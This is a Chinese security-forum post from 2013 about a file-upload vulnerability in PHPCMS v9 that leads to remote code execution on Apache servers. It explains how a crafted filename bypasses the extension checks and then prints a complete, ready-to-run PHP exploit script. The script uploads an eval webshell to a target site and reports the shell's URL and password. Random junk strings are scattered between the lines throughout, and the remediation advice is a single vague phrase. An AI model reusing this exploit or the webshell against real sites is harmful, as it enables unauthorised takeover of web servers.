中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
6 Z& v5 J3 [6 Z" {( Y
2 Z* p& V' T, Q# K3 M' z2 r
简要描述:
( J- s# M! D1 B! i8 u* x
$ k1 l9 A8 R; U: V3 r+ q! {
phpcms v9 getshell (apache)
/ W9 l, m& Z# @
详细说明:
9 z v4 L/ d* b9 u2 \) i! k
" S* p1 M5 @& i( e+ `" n
漏洞文件:phpcms\modules\attachment\attachments.php
/ p! C) P; M9 h6 n/ F
, m+ X5 }8 b) f$ x# Q4 \ Z6 E
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
3 _& v; ? c4 S& L, ?( W
后缀检测:phpcms\modules\attachment\functions\global.func.php
! W1 K9 W1 R |, S9 i
3 F2 Y# Z9 Z( t: Q/ \4 F
% L: j: ]4 c) n& J) J, }$ }) d
) I# A0 o6 ^% r
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
2 b' q" t! Z0 m8 G* J; T* n
/ ]$ \0 s _: W. P* M# h
关键函数:
" h# t' t! B; W
4 C2 V8 W5 w$ b( S2 s6 [* x
" X+ w* c, x( k2 U) N
1 P* D5 \' H: D/ ?
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
3 N8 T$ t0 l1 e8 x" _- a
- y% s% a, N; i2 r$ J2 B3 m3 h4 P, r
Fileext函数是对文件后缀名的提取。
5 K: i2 C$ b R: [
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
+ `- }3 N, S4 ?5 m
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
/ ?2 \/ { Z2 \& M) j$ q. t
我们回到public function crop_upload() 函数中
, j! K# R. l" ^
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
! k2 n; J3 X m U4 a. z4 g
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
' F' ?/ }' L+ r4 q8 M; z! f
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
$ U* h1 u; \7 l5 ~2 L
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
- C4 b/ J) C2 Y, V
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
/ N, f6 h$ ^% u0 x- A& ~. W
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
+ ^# N5 L* L8 }$ A$ Q/ T8 O) ^5 F
漏洞证明:
) T' C* W8 |. X3 ?4 e) @ H. a
# O# u6 c$ S6 [6 k
exp:
$ S, W3 K* z0 _' W: q
; q1 t! v0 B: ]5 T6 }4 |$ h
<?php
% t, n" J1 J" ~+ P
error_reporting(E_ERROR);
% Z- e! G: Q' f
set_time_limit(0);
* G. A* F/ f) x
$pass="ln";
: r9 C- N; ?. }& q
print_r('
7 y( Q9 o1 I$ N7 Z
+---------------------------------------------------------------------------+
' x. |; F; T- \/ n
PHPCms V9 GETSHELL 0DAY
6 g5 N |$ u! U
code by L.N.
3 r7 K6 y& i+ }. T% L& N* {5 d
: }1 t2 V9 K/ v5 H1 E* X4 A: B% e
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
) r) q y- a6 y! Z- T1 j
+---------------------------------------------------------------------------+
6 I. k" J* j1 [4 v/ l1 X
');
" e+ }* A. k: ?8 ]$ T1 o( p+ o+ M' ~, f: ?
if ($argc < 2) {
3 z8 f6 t, ]# L1 b1 _. R
print_r('
. r$ l3 ]. ~ c* g- o/ X+ U
+---------------------------------------------------------------------------+
+ A7 k2 N! `4 Q2 i
Usage: php '.$argv[0].' url path
$ H! v, x! d, t: `. _
# S, B5 ^; s8 N% o
Example:
( D# \9 n: `, ?2 }5 F
1.php '.$argv[0].' lanu.sinaapp.com
/ y# A! S. S9 m, x
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
4 J; t0 Y& e- b. e: U8 u5 A* W
+---------------------------------------------------------------------------+
& `; A- ?$ p/ l
');
$ {% ^$ R s( \
exit;
: E0 W9 r+ @3 i h3 j s3 {
}
0 s7 B3 y: D' t% I1 x2 J
& r4 J( D# ?! e
$url = $argv[1];
, B0 _1 U* `! [0 B7 e0 J& x
$path = $argv[2];
; [% s- J% u1 M0 B% u! E- U; R" B( `
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
* d# [2 Y6 m8 v2 N8 D l
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
4 O4 d4 N$ s# ^% t
if($ret=Create_dir($url,$path))
' v7 h( P# g0 u2 L8 W
{
7 u! B7 u; o7 ]1 \3 j6 M9 g
//echo $ret;
4 G8 ]( A7 C. N8 U, p
$pattern = "|Server:[^,]+?|U";
5 R$ f; L) b- N
preg_match_all($pattern, $ret, $matches);
" [. V7 V7 i f& ~! ~! {& ?
if($matches[0][0])
+ a5 r, v4 _0 d* f' m& G
{
* k& h& B3 ]' q3 ~ S* T
if(strpos($matches[0][0],'Apache') == false)
$ x" n. J3 f) |% J) N/ D
{
/ e$ \4 U$ D. S
echo "\n亲!此网站不是apache的网站。\n";exit;
/ z x1 B) b% ^' I/ V, G
}
" O& I4 }3 n7 ]# L; E; u# O
}
) R8 g! G K! B" c4 G8 N
$ret = GetShell($url,$phpshell,$path,$file);
( r; p; _/ S6 H$ ^# @- e
$pattern = "|http:\/\/[^,]+?\.,?|U";
! i$ g8 x C9 z" g# @
preg_match_all($pattern, $ret, $matches);
2 K. Z5 ^( j: e% H7 |: u
if($matches[0][0])
, {7 A5 L$ n$ K& D: S/ u6 N
{
; N. ^1 ^ Q% i x" @6 }% x4 H$ n
echo "\n".'密码为: '.$pass."\n";
# r, I \5 _ w% s& A( f; r
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
' f+ ~4 Q" O/ s% G O
}
9 n. A1 ]5 d9 K( Q5 o$ K1 t
else
/ y8 _% F- U: y: m" D
{
! h. W ? [+ ?
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
: S! H+ |. z& a% @5 E4 G4 D
preg_match_all($pattern, $ret, $matches);
Z( L/ c. c& }9 ^% r l& A3 B; ?
if($matches[0][0])
! L% R8 ?: e/ Q5 o% O" X
{
% G/ \ p$ R6 e! R* l
echo "\n".'密码为: '.$pass."\n";
7 `: V+ b) h& u. f- P+ g9 ~; T
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
* O) {2 I2 J7 S: \, G( S2 n
}
" j O9 Y U" J$ ~+ _
else
+ s5 W; ]. _; t
{
0 P: Q) ^+ o: F u7 L# j+ f" z
echo "\r\n没得到!\n";exit;
+ F1 O% W+ Z) _9 C! ?1 ~, r8 K
}
m/ {3 w9 C4 v. [. o
}
0 O8 l# F7 {: P3 j* e
}
' P3 G4 z% [( P2 D; p3 o8 S
; q" X* e! D% T# }
function GetShell($url,$shell,$path,$js)
7 v) T) e* `5 e" ^8 n% }
{
' `4 y) ]' Z9 ?- O0 f$ B: z
$content =$shell;
' a) L9 F- q! J" N P9 }! f9 d
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
6 j7 l- N3 p p9 K
$data .= "Host: ".$url."\r\n";
6 V" A# y, @/ y2 L/ ~6 s: n& \! i
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 a+ T- J* R# n
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) {9 h' T% z8 h8 A y6 I
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; a7 s L5 W+ Z- l/ ?4 t
$data .= "Connection: close\r\n";
* ?2 A/ X* C7 A
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* g% I1 m- t- X8 V
$data .= $content."\r\n";
' N0 k; |$ G( d
$ock=fsockopen($url,80);
! S9 }+ I6 e- m/ U
if (!$ock)
, k# c, h6 l6 \ ?+ q
{
/ e# h4 |. M- |* U2 p
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
8 j: w" O, r# C- I( A1 a7 K2 n
}
. X6 z7 T- U, i5 Y2 O
else
j P1 d, W/ d) j7 S8 F
{
# w, I7 ^# j3 X: Z8 s5 N+ {9 E) _: R
fwrite($ock,$data);
4 C; ]. F" Y+ |2 N# m; z% }4 k
$resp = '';
4 W# e$ u( n% U' z5 k; \
while (!feof($ock))
* ^7 N6 R; z9 Z7 K2 [1 D' ?: d
{
1 m* [( T/ |2 S! |" ?
$resp.=fread($ock, 1024);
$ P( Y& Z( l; |7 W4 q
}
# V/ \: p/ ^+ N. ^
return $resp;
6 R7 Q5 P* P3 Z: \
}
. c: h7 ~4 X* g% S1 P' X
}
p- a: h3 o1 f7 n- Z7 k7 q
0 P: [7 K5 f5 V0 r
function Create_dir($url,$path='')
, T8 |! l' B6 q, ?) K5 s8 `* a! t& H
{
* n( v9 [9 g% m6 e1 W8 t9 K
$content ='I love you';
' c4 v9 h9 E0 g7 L) ~" V, m, P
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
* P9 m4 K2 q- ^# P* f: N
$data .= "Host: ".$url."\r\n";
9 f0 K. B1 r( {/ I$ C3 P+ M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 b( ]. `; c$ v! U$ A% e2 x. V3 S
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( v; ~( A! f! [0 n) ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
* R) o: s& P& U6 k1 O
$data .= "Connection: close\r\n";
' r" u4 G& M7 l1 |9 R1 t
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 P' K; @4 y' ?* ] M! R
$data .= $content."\r\n";
7 C8 T! R2 O- M, L$ X
$ock=fsockopen($url,80);
, @9 g* p" |1 _- Q c, ~7 I7 h
if (!$ock)
* t! N& I8 \* O4 y
{
8 f1 \ @7 }9 x$ j6 `
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 K4 R' X! p; M* l8 d9 W
}
* a* w9 E- ]2 V% a
fwrite($ock,$data);
0 D; Z$ n/ t. n5 W
$resp = '';
6 @) F- w1 t- H0 N; R, G
while (!feof($ock))
8 {" g; F, u# `% _9 o& K* o
{
7 M6 J9 {. j0 S, ?5 p
$resp.=fread($ock, 1024);
( ]- g* g6 n; R# ^( ^/ o5 z
}
# |) F' r) Q; c8 S8 o
return $resp;
" X9 N# x; p; H3 P" z
}
( K( A. F# |- m7 g
?>
- S& V" J1 W: Y8 a0 m& K2 e6 a
: U) k* K" A' {: u7 S& W
修复方案:
1 a5 D+ t" H! Y( d3 ]' a7 t
$ R7 D# i3 s, P
过滤过滤再过滤
( L* o& i$ N# q0 [: T# @# f
/ H, X, J, q P2 Y7 Z7 T: B7 T& a! k
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2